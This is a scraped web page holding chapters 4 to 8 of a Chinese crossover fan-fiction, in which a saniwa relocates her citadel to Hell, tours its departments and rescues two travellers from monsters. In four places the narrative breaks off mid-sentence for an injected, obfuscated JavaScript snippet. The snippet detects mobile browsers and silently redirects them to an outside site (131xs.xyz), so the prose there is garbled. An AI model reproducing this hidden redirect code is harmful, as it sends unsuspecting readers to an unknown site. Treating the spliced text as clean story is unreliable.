他立刻端正坐姿,认真地点点头:“是!我明白了,主人。请您放心,我一定会通知到大家的。” “我们走吧,大虎。有重要的事情要做了。”五虎退拍了拍白虎厚实的肩胛,小跑地跑向平常开会的集结铃方向。 *** 与此同时,地狱。 “鬼灯大人!鬼灯大人!”一只扎着醒目红白绳蝴蝶结的小白狗,正围着阎魔大王的第一辅佐官打转,尾巴摇得飞快,“听说来了新的狱卒?是什么样的家伙?厉害吗?” 一旁的猴子吐槽:“小白,说好的帮鬼灯大人整理东西呢。” “柿助说得对。结果最后你什么都没干,光顾着玩了。”雏鸡琉璃男抓住鬼灯批好的卷轴,放到一旁推车上。 “有什么关系嘛,好好奇哦。” 鬼灯正批阅着卷宗,顿了顿,若有所思。 “嗯……”他低沉地应了一声,合上卷轴,“虽然准确来说并非新狱卒,而是外派的人员。算了,正好要去确认进度。那就带你们去看看吧。” “真的吗?太好了!”小白欢呼起来。 琉璃男无奈:“真是的,鬼灯大人也太惯着你了。” 于是,鬼灯身后跟着三只好奇的动物,一行人来到了阎魔殿旁一片特意清空出来的广阔场地。 小白左看右看,鼻子嗅了又嗅,一脸困惑:“鬼灯大人,这里什么都没有啊?新人在哪里?” 琉璃男和柿助也面面相觑,表示不解。 鬼灯没有回答,抬头望向空无一物的、泛着地狱特有暗红色光芒的天空。 “来了。” 下一秒,空间的波动如同水纹般荡漾开来,一座占地极广、带着天守阁和层层叠叠屋瓦的本丸,伴随着低沉的嗡鸣声,缓缓地、极具压迫感地自空中降临,最后稳稳落定在空地之上,扬起细微的尘埃。 庞大的阴影瞬间笼罩了鬼灯和他身后的三只。 鬼灯微微抬着头,看着这座突然出现的庞然大物,平淡地感慨:“没想到还挺大的,还好阎王殿附近有这么一块空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332876|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。” 而他身后的小白、琉璃男和柿助,早已惊得目瞪口呆,嘴巴张得老大,发出了毫无见识且整齐划一的惊叹: “哦,哦呼——” 等到尘埃不再飞扬,本丸大门缓缓开启。只见一名高挑的女性站在门扉之间,她并未穿着往日常见的茶色羽织或简便服饰,而是换上了一身时髦装扮。一件黑色为底、以金线细致描边,绘着繁复花朵与桧扇纹样的友禅染羽织搭在肩头。羽织之下,是乱藤四郎倾情推荐的混搭风格——挺括的衬衫,下身则是一条剪裁合体的西装长裤。搭配着束腰腰封,勾勒出千祈比例极佳的身材。 休息充足让她脸色红润,眼底那抹倦色也淡去了不少。长发也被精心盘起,几缕碎发垂落,倒是添了几分柔和。 来人就是千祈,看起来经过休整精神好了很多。 这一身打扮与她平日朴素的社畜形象相去甚远,衬得她身姿挺拔,少了几分被迫加班的怨念,多了几分沉稳与不容小觑的气势。她扫过门外略显呆滞的一狗一猴一鸡,最终落在鬼灯身上。 “鬼灯大人,”千祈礼貌地对自家现任上司汇报,“按照约定,本丸已顺利迁移完毕。后续的安置工作,还需叨扰了。” “哇——好、好气派啊!这是什么大户人家的宅邸吗?!”不等鬼灯回答,小白已经按捺不住激动,仰着头对本丸发出了大声的赞叹,尾巴兴奋地摇来摇去。 “小白!太失礼了!”琉璃男用翅膀拍了一下小白的脑袋,低声训斥道,但自己的眼睛也忍不住好奇地瞟向那气派的本丸和门前没见过的新人。 鬼灯对身后的骚动恍若未闻。 “效率很高。”他评价道,“既然已顺利抵达,之后会让相关部门的负责人和你对接。” 他的话音刚落,本丸门内又传来了动静。压切长谷部快步走出,来到千祈身侧稍后半步的位置,神色恭敬,对千祈微微躬身:“主人,内部初步清点已完成,重要物资均已固定,并无损毁。”随即,他转向鬼灯等人:“初次见面,我是压切长谷部。主人在地狱期间,一切杂务及与外界的协调,请您尽管吩咐我即可。” 主人二字一出,场面霎时冷了两秒。 小白看着这一幕,眨了眨眼睛,小声对旁边的琉璃男和柿助嘀咕: 【是那个吗?】 【不不,怎么看都是很正经的关系吧!】 【好传统的称呼,感觉很久没有听过了,现在只能在大河剧里面见到这种情节。】 【不愧是鬼灯大人,居然对这种称呼无动于衷。】 只有鬼灯展现出高超的业务技巧:“没问题。” “顺便问一下,你的下属,都喜欢这样叫你吗?” 小白/琉璃男/柿助:“鬼灯大人原来你也好奇啊!” 还以为只有它们自己才会被这种称呼震撼。 5. 第 5 章 “人死之后,从头七到三回祭,也就是死后三年的时间内,需要在地狱走完十殿阎王的审判。身怀罪孽的进入八大地狱与八寒地狱接受惩罚,没有大罪的先遭受一点小惩罚后就可以等待投胎进入下一世,有功绩的可以选择进入天国。” 鬼灯戴着眼镜,为刚刚来到地狱不久的千祈科普常识。 “罪人遭受惩罚会被打入各个地狱,每个地狱有十六个分部门,加上总部是十七个,分别针对不同罪名的犯人。” 千祈奋笔疾书,记下重点。 “这样,那我之前没有经历过审判,还需要走一遍这个流程吗?” “不需要,你的生前没犯过什么错,最多就是因为太调皮把妈妈气哭,或者是抢了小朋友的玩具,把家里沐浴露倒在厕所玩泡泡这类小事。”鬼灯不知道从哪里掏出一个长长的卷轴,念出千祈从没有告诉别人的童年黑历史。 “噗嗤”身后的几名刀剑男士中不知道是谁笑了出来。 “这些小事基本上都会被你的两位俱身神记录,不是什么大恶行的话,晚上睡觉时俱身神会让你的脚抽筋作为惩罚。”鬼灯继续一本正经地科普。 千祈大惊,涨红了脸:“不要理所当然地在大家面前宣读我的黑历史啊!还有你到底在卷轴上记了些什么,我好不容易在本丸大家面前建立起来的威信啊!“ 为此鬼灯大义凌然表示: “威信这种东西,往往只有在干正事的时候能让人感到信服。” 说完不忘唾弃阎魔大王一番:“像阎魔大王这种,就完全没有威信可言!” 话是这样说,千祈倒是觉得阎魔大王审判亡者的时候蛮有威严的,不过一想到之前狱卒大小事务都更优先请示鬼灯的样子,阎魔大王确实在大家心中没什么威信呢。 “在此之前,也就是亡者死亡的时候,有接引科会将亡者从现世带回地狱接收十王审判。” “——也就是这里”说话间几人已经到了接引科门口,十来个身着西装的狱卒正在整队。其中在告示板前面对众鬼做演讲的应该是队长,正大声鼓舞: “今天也要竭诚为亡者服务!” “今天也要竭诚为亡者服务!”x10 其余狱卒齐声应和,整齐划一喊着口号。 活了几百年、没经历过现代生活的刀剑们第一次见公司文化,津津有味地望着。 “哦!很精神嘛!”山伏国广感叹。 一旁岩融猜测:“类似于上阵前的鼓舞?” 千祈看着眼前这地狱版的职场文化,忍不住轻声吐槽“让我想起了以前上学在餐饮店打工的时候,领班会带领我们喊口号。” 鬼灯点头:“没错,这是我之前在现世考察时学到的,特意在地狱实行,不过大部分狱卒反馈喊口号非常羞耻。” “不过我倒是很满意,狱卒就应该在这样的环境下锤炼自我,成长独当一面的可靠职场人。” 不不不,这种精神方面的锤炼怎么看都是为了满足自己隐藏的某种属性吧。 话说回来,接引亡者也是有一套流程的。首先是将亡者的灵魂从身体里面抽离,然后停止身体各项机能运作,最后让身体腐烂,接引科的狱卒们会带着亡者回到地狱接受审判。 “呀,鬼灯大人。”一名头戴白布,身着短裙,脸上戴着眼镜,非常像教导主任的女子从办公室走出,一副正要出门的样子。 鬼灯转向众人介绍:“这位是茶吉尼天,接引科主任,负责感应亡者气息、派遣队伍执行接引亡者到地狱的任务。” 茶吉尼天推了推眼镜,食指点点脸颊,目光扫过众人,最终落在千祈脸上:“我记得你,你就是我当时没能带走的那个亡者吧?” “那天很奇怪呢,明明能感觉到你已经死亡了,但是去现场一看怎么都找不到你的灵魂。我还以为你的灵魂被别的什么妖怪吃掉了。” 她像是看着什么很好吃的小点心一样望着千祈,补充道: “不过身体很好吃,一直想和你说谢谢款待的说。” 千祈眼神无光,内心仿佛有万马奔腾而过,千言万语堵在喉咙口,最后只能化为一句:“没什么的,你吃得开心就好。”算了,就这样吧。地狱的常识什么的,放弃思考了。 鬼灯还在一旁淡定补充:“茶吉尼天主要负责亡者接引,但偶尔也会处理一些无人认领的遗体,算是回报。顺便一提,大部分时候并不会随便乱吃,请不要担心,不会对现世警察办理死亡案件造成阻碍的。” “没错,嘴馋的时候都是趁着下葬或者火化前吃掉。而且地狱有很多亡者相关的特色菜,现在已经很少去现世刨墓吃东西了。地狱的存在解决了很多像我们这样以吃人类为生的妖怪温饱问题呢。”茶吉尼天表示赞同,转头对着山伏国广和岩融说: “说起这个,你们身上也有那股清甜的味道,应该是灵力吧。不过里面掺杂一些钢铁的味道,总觉得吃了会扎嘴呢。” 山伏国广爽朗大笑:“咔咔咔咔,说明我等还需修行!” “对了,刚刚茶吉尼天是打算出门工作吗?”这位接引科主任刚刚一副要出门的样子,难不成是有什么很难搞定的亡者? 说起这个,茶吉尼天也算是想起自己还有正事要做。 “对,正好是去固定巡视的时间,虽然在接引课大家的帮助下能够把亡者带到地狱,但有时候也会出现亡者中途逃脱之类的事情,这时候就需要我来补漏。” 不得不说,地狱的职业生态意外的还不错,普通的狱卒哪怕犯错、或者出现意外,领导也会亲历亲为帮下属兜底。 反观某个狐耳男上司,该他做的全部丢给下属,还天天试图画大饼。千祈默默唾弃某个狐耳男上司。 鬼灯掏出怀表,想了想行程安排:“正好,我一会有个地狱研讨会议,千祈你可以跟着茶吉尼天参观一下接引课的工作。没问题吧?” “好的,我可以。”就算有意外,身边还有工龄几百年的前辈顶着呢。 “我倒是没什么问题,那就一起走吧。”茶吉尼天点点头,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332877|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千祈和两位刀剑附丧神离开接引科。 *** 出接引科,茶吉尼天走向一只巨大的橘红色猫又,向千祈介绍: “这是火车小姐,和我一样都是喜欢吃人类尸体的妖怪。” “你们也上来吧,我们要出发去现世巡查了。” 说起来,现世确实是有茶吉尼天有着一只大狐狸作为坐骑。但是为什么到了地狱就变成巨大猫又火车小姐了? “其实……”茶吉尼天跳到火车小姐身上,回忆起自己来到地狱的缘由。 “最初的话确实和妲己达成合作,一起找食物吃。但是主管丰收的宇迦御魂找上门来,说是人设冲突,导致信徒误认为有着狐狸使者的她也喜欢吃人呢。” 不过后来鬼灯突然出现,出主意让茶吉尼天和宇迦御魂一同成为稻荷神的一体两面,稻荷神的狐狸神使播报各个区域可能存在的死者人数;茶吉尼天则在地狱成为接引科主任,利用预测死者的能力让接引科的狱卒把亡者带回来。至于妲己,她换了玉藻前的身份继续在天皇身边逍遥去了。 这样就解决了地狱没有相关人才,导致大量亡魂滞留现世的问题。 “来到地狱之后就和火车小姐一起成为搭档,总体来说还是没怎么变。”茶吉尼天最后总结道。 “像是boss直聘一样。”千祈锐评。 “是吗,现世是这样形容这种情况的吗。”茶吉尼天恍然大悟。 两人就这样一边聊天,一边巡视。 “啊,到地方了。”火车小姐慢慢在一座神社面前停下,巨大的红色鸟居,两侧铸有标志性的狐狸神使雕像。很明显,这里就是霓虹众多稻荷神社中的一座。 茶吉尼天跳下,对千祈建议:“一路上该交代的都和你交代了,接下来我有些事情要和神使们对接,这段时间你可以在神社附近逛一逛。” “好的,那我们就不打扰您工作了。”千祈礼貌地点头应下,目送茶吉尼天步入神社深处与神使交谈。 没有了需要打交道的职场同事,千祈稍稍松了口气,转向自己的刀剑男士们,脸上露出了轻松的笑容:“好啦,暂时自由活动。听说山下的商业街很有名,我们去看看吧?” “这时候就不用板着脸啦。” “咔咔咔!主公所言极是,体验现世之风,亦是修行!”山伏国广豪迈地咔咔大笑地表示赞同。 一旁的岩融则一把抱起千祈,将千祈放在自己右侧肩膀上。 “岩融!我可没有今剑那么小巧的身形!”千祈下意识地惊呼,双手连忙扶住岩融的头以稳住平衡。 千祈哭笑不得的抗议:“而且我也不是需要被这样照顾的小孩子了!” “呀——哈!这样吗?”岩融非但没放下,反而爽朗地大笑起来,稳稳托住她的腿,“对我来说,今剑和主人都一样小巧又灵活呢。而且这样视野更好吧,主公?” “走了哦!” 就这样,三人沿着参道下山。目标—— 商业街,出发! 6. 第 6 章 一路跑到山脚,岩融稳稳当当地把千祈放下,三人稍作整理,便迈开腿,融入了眼前这条人声鼎沸的商业街。 如果说稻荷神社所在的山中是静谧安宁的氛围,那山下毗邻道路建立的特色商业街则有着与神社完全相反的喧嚣活力。摊贩商店密密麻麻地排列在道路两侧,让每一位从神社宁静氛围中走出的游客,瞬间被这热闹的世俗气息所包裹。 千祈很快被各式各样的店铺吸引:“好不容易来一趟现世,得给本丸和阎魔殿的大家都带点礼物才行。” 她拿起一个精致的御守,对着阳光看了看:“岩融,你觉得这个纹样怎么样?回去我用灵力加固一下,应该比现在这批发的耐用些。” “主公加固过的御守都好,”岩融咧嘴笑道,庞大的身躯小心地避开往来行人,“不过要我说,还不如多买点吃的实在!”他指向一个冒着热气的鲷鱼烧摊铺。 “咔咔咔!岩融,修行之道可不在于口腹之欲啊!”山伏国广虽然这么说着,却也好奇地打量着旁边摊位上的蛋白粉。 千祈忍俊不禁:“都要买。岩融,帮我拿着这些布匹,我看这匹布质地很适合做羽织。” “老板,些我都要,打个折?” 她熟练地砍价,一边将挑好的商品递给岩融。高大的付丧神轻松地接过堆积如山的购物袋,还不忘提醒:“主公,那边有卖特制七味粉的,要不要给光忠带一些?” “啊,说得对。”付完布匹的钱,千祈拉着岩融走向摊贩,“他上次还说本丸的调料快没了来着。” 就这样,三人一边商量着要给谁带什么礼物,一边穿梭在热闹的集市中。 稻荷神社发售的御守,回去用灵力再加固一层就可以给刀剑们换一批新的。友禅染布匹,回地狱后可以找专门的裁缝店制作轻装。这个东西看起来有点好吃,带一些回去给本丸刀剑和阎魔殿的鬼灯他们…… 由于购物太过投入,待到回过神来,千祈才发现岩融和山伏国广几乎被各种购物袋淹没。 两位高大的刀剑附丧神提着大包小包,此时像两棵会移动的圣诞树。 千祈不太好意思:“抱歉,购物有些太上头了,东西很重吧。” “这点东西,离修行目标还远呢!”山伏国广掂了掂袋子的重量,就这点东西,还没有在本丸后山修行时扛着的原木重。 岩融将几个最重的袋子换到一只手,空出的另一只手随意地挥了挥,发出爽朗的声音:“主公买得开心就好!不过,提着这么多东西确实有点不方便行动了。”他在人群中本就显眼,此刻更是吸引了不少目光。 岩融低头看向千祈,提议道:“不如我们先找个地方歇歇脚,把这些礼品整理一下?” 千祈正想休息一会,从善如流地点头:“好主意,我也有点累了。附近有家茶寮,看着环境不错,我们去那里坐坐吧。” “那,那是!” 不远处,一名穿着时尚西装、头发梳得一丝不苟中年男子在茫茫众人中用目光锁定千祈。对方身上那种倦怠感,以及身旁两位高大男士自然流露的守护姿态。 他一个箭步冲上前,几乎是冲到千祈面前,双手奉上一张精美的名片: “这位小姐!冒昧打扰,我是造梦事务所的新探,高桥,这是我的名片。请问您和这两位先生有兴趣成为艺人吗?” 这突如其来的状况让千祈愣了一下。她下意识地后退了半步。 岩融往前半步,用自己宽阔的身躯和手里的购物袋制造了一个缓冲区域,隔开了过于激动的男子。山伏国广也收敛了笑容,往千祈身边靠了靠,右手搭在腰侧。 出于礼貌,她客气地回绝:“非常感谢您的青睐,高桥先生。但是,我目前有非常重要的全职工作,并没有这方面发展的打算呢。” “而且这两位职业特殊,也不太方便成为艺人。” 想到这才刚刚来地狱这几天,就马不停蹄地参观了十来个不同地狱部门,撰写了堆积如山的汇报材料,填了不下上百份各式表格……这些东西光是想想,千祈就感到一阵精神上的疲惫。若不是鬼灯察觉她状态有些岌岌可危,有意分担了一部分工作,她现在哪能跟出来巡查还顺带逛街。 而且光是平日处理地狱的卷宗就已经够忙碌了,更别说时之政府那边还有定期报告要写,审神者的职责也丝毫不能懈怠,需要安排固定小队通过时间转换器远征出阵。这种连轴转的工作强度下,谁还有多余的精力去当什么偶像,赶那些没完没了的通告。 两份工呢,放过她吧。 “不不不!请您务必再考虑一下!”星探显然不愿放弃,试图寻找新的角度说服她,语速飞快,“只是试个镜也好!我们事务所是正规的,不需要交钱培训!” “抱歉,实在是……”千祈正打算继续回绝对方,眼睛一瞥,目光被远处的骚乱吸引。 “啊——真是的怎么乱跑!” “我的东西!” “什么啊,跑酷吗?” 人群骚动,本能地向四周退散,混乱中让出了一条的通道。只见一位穿着精致洋装、手持手杖的可爱少女正被一位表情冷静的黑发青年半护着快速穿行。身后跟着几只周身盘踞着蛇骨,披头散发,骨刺从甲胄中穿出的怪物,奇怪的是人们似乎对这些怪物置若罔闻,只是埋怨前方一男一女的鲁莽。 “小姐,再考虑一……诶?”手里的名片被抽走,高桥似乎还没反应过来,愣了愣。 两指夹走名片,随手塞到衣服内兜里,千祈看都没看高桥一眼,只盯着远处的时间溯行军:“名片我收下了,这位先生。我还有事要处理,失陪了。” “山伏、岩融,我们走。” “了解!”“来了!” 岩融和山伏国广没有丝毫犹豫应下。岩融甚至直接松手,将那些沉重的购物袋“砰”地一声堆放在路边某个商店,转头扛起自家主人就往时间溯行军的方向冲去。 等到被千祈留下,目瞪口呆、还没搞清楚状况的星探高桥回过神来,只能徒劳地伸着手:“等,等等,小姐!至少留一个联系方式啊——!” 千祈已无暇顾及来自远方的呼喊,她正专注下达命令追截时间溯行军:“优先保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332878|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护那两位普通人!岩融左翼,山伏右翼,拦住它们!” 千祈自然也不贤闲着:“岩融,你先撑住。” “当然!” 话音刚落,漆黑如墨的灵力烈焰瞬间爆燃,如活物般缠绕周身,身披的羽织在灵力冲击下翻飞,宛若停在千祈背上的脆弱蝴蝶。 在火焰腾起的同时,她右手猛地从虚空一拉。 一振通体漆黑、刀拵以黑漆研磨出细碎鳞片般华美纹路的打刀已然握于千祈手中。刀身随着千祈的抽出完全显现,周身狂放奔腾的黑炎仿佛受到无形牵引,以惊人的速度倒带而归,尽数收束于冰冷的刀刃之上,最终化作一层凝实、闪烁着不祥的幽光。 “怎么办,我的血肉对这些怪物没有用!” “这些家伙不吃肉,只知道乱砍。” 青年几乎是半夹半抱着少女,在公路上竭力狂奔,试图与怪物拉开距离。 “这到底是什么东西,从来没见过。是发狂的怨鬼吗?”少女抱紧青年脖子,为当前的情况表示疑惑。 “不管、不管是什么东西,先逃命吧!”青年急促地喘息着,汗水从额角滑落,身体已经警告他即将到达极限,又不得不为了逃命一路狂奔,尽可能甩开紧随其后的怪物。 然而骨刺狰狞的怪物速度更快,几步便追至身后。“九郎小心!”在持刀怪物靠近时,青年换了个姿势,将少女紧紧抱住,护在身下。 “铮——刷——” 预想中的刀刃劈开身体的情节却并未出现,只听见一阵的金铁交鸣之声在极近的距离炸响。 “嗤——”长满骨刺的怪物被斩落刀下,茶色的羽织下摆因急速下落动作而猎猎翻飞,划出一道利落的弧线。千祈手腕一振,刀身上残留的些许黑气被甩净,缓缓还刀入鞘。 怪物碎作齑粉,化为飘渺的黑雾,融入风中。 另一边,岩融用薙刀以近乎蛮力的方式劈开敌人,甲胄、骨刺连同对方手中的刀剑都被劈碎震散,化为四溅的污秽黑雾;山伏国广延伸到手臂上的火焰刺青闪烁光芒,一刀挥下,敌方首级瞬间与躯体分离,在地上翻滚了两圈后连同那具失去力量支撑的躯壳一齐泯灭。 仅在呼吸之间,致命的威胁就被彻底清除。 “主公——解决了!”不远处手持大薙刀,粉发男子朝着面前出手消灭怪物的羽织女子挥了挥手,露出鲨鱼齿。 “……死了?”青年依旧保持着护住少女的姿势,难得地露出了些许错愕的神情,“这些麻烦的东西,居然一下就被……” 他见识过这些怪物的难缠,从未想过有人能这样干脆利落地瞬间解决。 被他护在身下的洋装少女似乎适应得更快些。她轻轻拍了拍青年的手臂示意自己没事,然后借着他的搀扶优雅地站起身,拍了拍裙子上并不存在的灰尘。 她扶正自己的贝雷帽,手持手杖,向前一步,对着收刀而立、神情平静的千祈,露出了一个甜美的笑容。 “真是万分感谢您和二位的出手相救。”她微微欠身,声音清脆悦耳,“我是岩永琴子,他是樱川九郎,我的男朋友。” 7. 第 7 章 “真危险,不过还好赶上了。”千祈转过身,对着两人感慨,语气中带着几分从容。 面前如人偶般精致的少女自称岩永琴子,看起来不过初高中生的年纪,刚刚从时间溯行军的追杀中脱险,却依旧神态自若,仿佛方才的惊险不过是日常插曲。 一旁的青年黑发金眸,外表看着普通,但面对超自然力量的追杀,以及手拿刀剑,使用灵力的千祈等人异常镇静:“非常感谢几位出手相救。” 能够看见时间溯行军,并且成为其目标,这两人的身份显然并不简单。 想到这里,千祈正色道:“你们好,我是审神者千祈,职责是专门斩杀这类怪物。” “我身边的两位是山伏国广和岩融,都是刀剑付丧神。”山伏国广和岩融确认四周再无敌人后,一左一右站回千祈身边,一米八与两米的身高差将她夹在中间。 “没想到世间还有这样的神明存在,”岩永琴子轻笑,“看来我这个‘妖怪的智慧之神’还远远不够格呀。” “妖怪的智慧之神?”在地狱任职期间,千祈更多接触的是审判亡者的神明,对高天原与现世诸神了解有限。 “是哦,”金发紫眸的少女语气轻快,“十二岁的时候,在妖怪们的请求下,我用一只眼睛和一条腿作为代价,成为了协调它们纠纷的‘智慧之神’。”她轻敲右眼,又微微掀起裙摆,露出义肢的金属光泽。 原来如此,以残缺的身体为代价,回应众妖的期待,成为神灵吗…… 但千祈仍有些不解:“神明不应该具备一定的自保能力吗?至少……逃跑的能力总该有吧?” 哪怕是富士山下的木灵,面对危险也会把自己藏匿在林木中,没道理被追杀成这样吧? “事实上,虽然是神明,我的身体依旧是人类之躯哦。”岩永琴子坦然,手挽上身边的樱川九郎,语气中带着几分炫耀,“主要的战斗都是靠九郎前辈呢。” “你是指送男朋友去死的那种战斗吗?”樱川九郎无奈地叹了口气,对于自己神明女友的无情表示谴责。 “倒是看不出来小哥还有这个实力呢,”一旁的山伏国广仔细打量九郎,“肌肉还算结实,体魄也比普通人强些。” 最后得出结论:“还是需要修行啊,咔咔咔。” 樱川九郎挠挠头:“实际上平常有危险,也都是冲着我来的,很少会专门针对身为神明的琴子。遇到发狂的妖怪,通常都是琴子远远站着,由我来解决。” 但是今天的这些怪物不一样,看起来有一定智力但是无法沟通,目标也是直指琴子,人多势众的情况下,他也没有办法完全护住琴子。 若非面前的审神者千祈,以及对方所带着的两位刀剑附丧神,很有可能就会让妖怪的手。 他倒是有办法活下来,琴子可能就…… 青年想到了什么,握紧拳头。一旁的岩永琴子见状摊开对方手掌,十指相握。 “奇怪……”千祈陷入沉思。 对于千祈来说,和时间溯行军打了多年交道,她非常清楚时间溯行军向来都是有目标地出击,例如历史上关键的历史人物,扭转战局的战役,甚至时之政府大本营。哪怕是在地狱,也只是专门针对各个狱卒负责的区域。 专门追杀拥有人类之躯的神明,时间溯行军这次的行动实在是让人费解。 “怪物的想法我们也参不透呢”岩永琴子摊手。 “总之,你们没事就好。”千祈微笑,随即想到了什么,“对了,两位方便的话留个联系方式?后续如果有这些怪物的踪迹可以和我联络一下,专业的事情交给专业的人来做,不是吗?” “当然,”岩永琴子点点头,爽快答应,“有情况我们会第一时间联系你的,毕竟我也不想九郎前辈再遭遇危险嘛。” 九郎沉默:“……”真的假的? 几人互相告别后,樱川九郎和岩永琴子注视着一人两刀远去的身影。 “他们的身份看起来没那么简单,”樱川九郎低声道,“不过看起来没什么恶意。” “不管什么身份,”小巧如人偶一般的少女神明拿出手机,晃了晃,“既然愿意留下联系方式,就说明对方和我们有交流的意愿。过他们走得那么急,大概是另有要事在身吧。” * “茶吉尼天大人——” 千祈等人的声音由远及近,渐渐清晰。 只见远处千祈在前面狂奔,身后是提着大包小包、踩着木屐仍步履稳健的山伏国广,以及肩扛薙刀、刀柄上挂满购物袋的岩融。 “玩得开心吗?”茶吉尼天歪了歪头,大致数了数购物袋,感叹道,“大肆采购了一番,满载而归呢。” “还挺开心的,买了很多东西,我也给茶吉尼天大人带了手信呢。”很久没能好好逛街了,这次也算是买了个爽。千祈从岩融手里接过分类好的东西,开心地和茶吉尼天分享自己的战利品。 “可惜中途遇到了时间溯行军,不然还能再逛一会儿。”她语气中带着几分遗憾。 说起这个就有些郁闷,好不容易有空闲逛街,没开心一会就要忙着剿灭时间溯行军。还害她急匆匆赶回来在街边找之前为了救人丢下的东西。 “真辛苦呢,能平安回来就好。” 不过好在借此机会认识了现世的神明。想到这里,千祈对那名精致可爱的神明有些好奇:“茶吉尼天大人,人类在现世也可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332879|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成为神明吗?” “以人类之躯在现世成神……”茶吉尼天望天思考,“你是说现人神吗?刚刚我和神社的神使聊天还提到呢,这附近有一名在妖怪请求下成为神明的人类少女,这几年帮妖怪解决了很多疑惑,还处理了不少妖怪与人类之间产生的问题。” 跳上火车小姐毛茸茸的背脊,几人开始缓缓向地狱方向返回。 茶吉尼天继续补充:“那位少女成为神明时间很短,但职责履行的很不错,神使说可能过不了多久可能高天原就会正式给她授予正职。” 说起来,少女身上确实有一股特殊的气质,现在想来可能就是神性? 千祈暗暗猜测。 “不过,”像是想起了什么,茶吉尼天眉间上挑,继续说道,“那位新生的神明身边有一个男性,可能是收服的神使吧,给大部分的妖怪感觉都不好呢。” “据说对方曾经吃下人鱼和件的肉后,得到了不死和一定程度上改变未来的能力。” “不死和改变未来的能力?!”x3 “吃了妖怪的肉!?”x1 这次不单千祈一行人,就连火车小姐也震惊地回过头来。 “吃妖怪的肉是很让妖怪惊讶的事情吗?”千祈微微探头,看向前方火车小姐硕大的猫头,询问道。 火车小姐语气复杂:“倒也不是常见不常见的问题。妖怪的肉对人类而言是剧毒,普通人吃下只会中毒而亡。他能活下来,本身就是个奇迹。” 转过头,火车小姐又幸灾乐祸地说道:“虽然这家伙不知道为什么能活下来,但对于大部分弱小的妖怪来说,这个人类估计一副人类、人鱼、件三种生物拼接在一起的怪物,是妖都惧怕的对象呢。” 千祈脑子里面浮现出科学怪人的进阶版——樱川九郎。“那确实很奇怪。” 火车小姐载着众人缓缓掠过城市上空。俯瞰着下方的万家灯火,千祈不禁想起那个沉默的黑发青年。 对人类来说,不死也是一种诅咒呢。那位樱川九郎先生如果想要以普通人的身份在人类社会生活,估计每过二十来年就要换一个身份。 “或许……与那位神明在一起,也算是某种意义上的天作之合吧。”她轻声道。 茶吉尼天“哦呀”地惊叹一声,似乎没想到新生的神明和那个人类居然是这种关系。 “真有勇气呢。” 火车小姐赞同:“没错,人类真是可怕的生物……。” “诶——”这下轮到千祈不解了,对于原本就是人类的她来说,果然不太理解妖怪们的世界的呢。明明对于人类来说这样的审美才是正常的吧。 “搞不懂你们妖怪的想法呢……” 8. 第 8 章 “我们还有事情需要忙,就麻烦千祈你帮忙转告了。”阎魔殿外,火车小姐载着茶吉尼天腾空离去,留下千祈和两位刀剑抱着花花绿绿的袋子与礼品盒。 纸袋边角露出几缕彩色包装绳,山伏国广臂弯里还夹着卷成筒的布匹,岩融的弯腰的动作不小心带动成堆的购物袋,发出细碎的 “哗啦” 声。 “多亏火车小姐和茶吉尼天大人帮忙,这堆东西要是叫胧车,恐怕得拆成三趟运。”千祈抬手理了理被风吹乱的头发,望着这些购物成果一副“得救了”的表情。 不过在回去之前还有点事情要办,希望别再加班了。 想到这里,千祈转头对身侧的刀剑男士,叮嘱道:“山伏、岩融,你们先回本丸整理物资,我去阎魔殿一趟。” 她指尖轻轻敲了敲腰侧的佩刀,黑色刀鞘上点缀的鳞片纹路在夕阳下泛着细碎光泽,打刀像是有了灵识般轻轻颤动,发出 “咔哒”的轻响,“毕竟是为时间溯行军来的,总得跟鬼灯大人说一声。” “放心,有歌仙在呢。” “真好啊,我也想被主公挥舞使用呢。”看着审神者往阎魔殿走去,岩融发出羡慕的声音。 山伏国广倒是看得开:“咔咔咔,主公还需要修炼才行呢,不着急一时。” 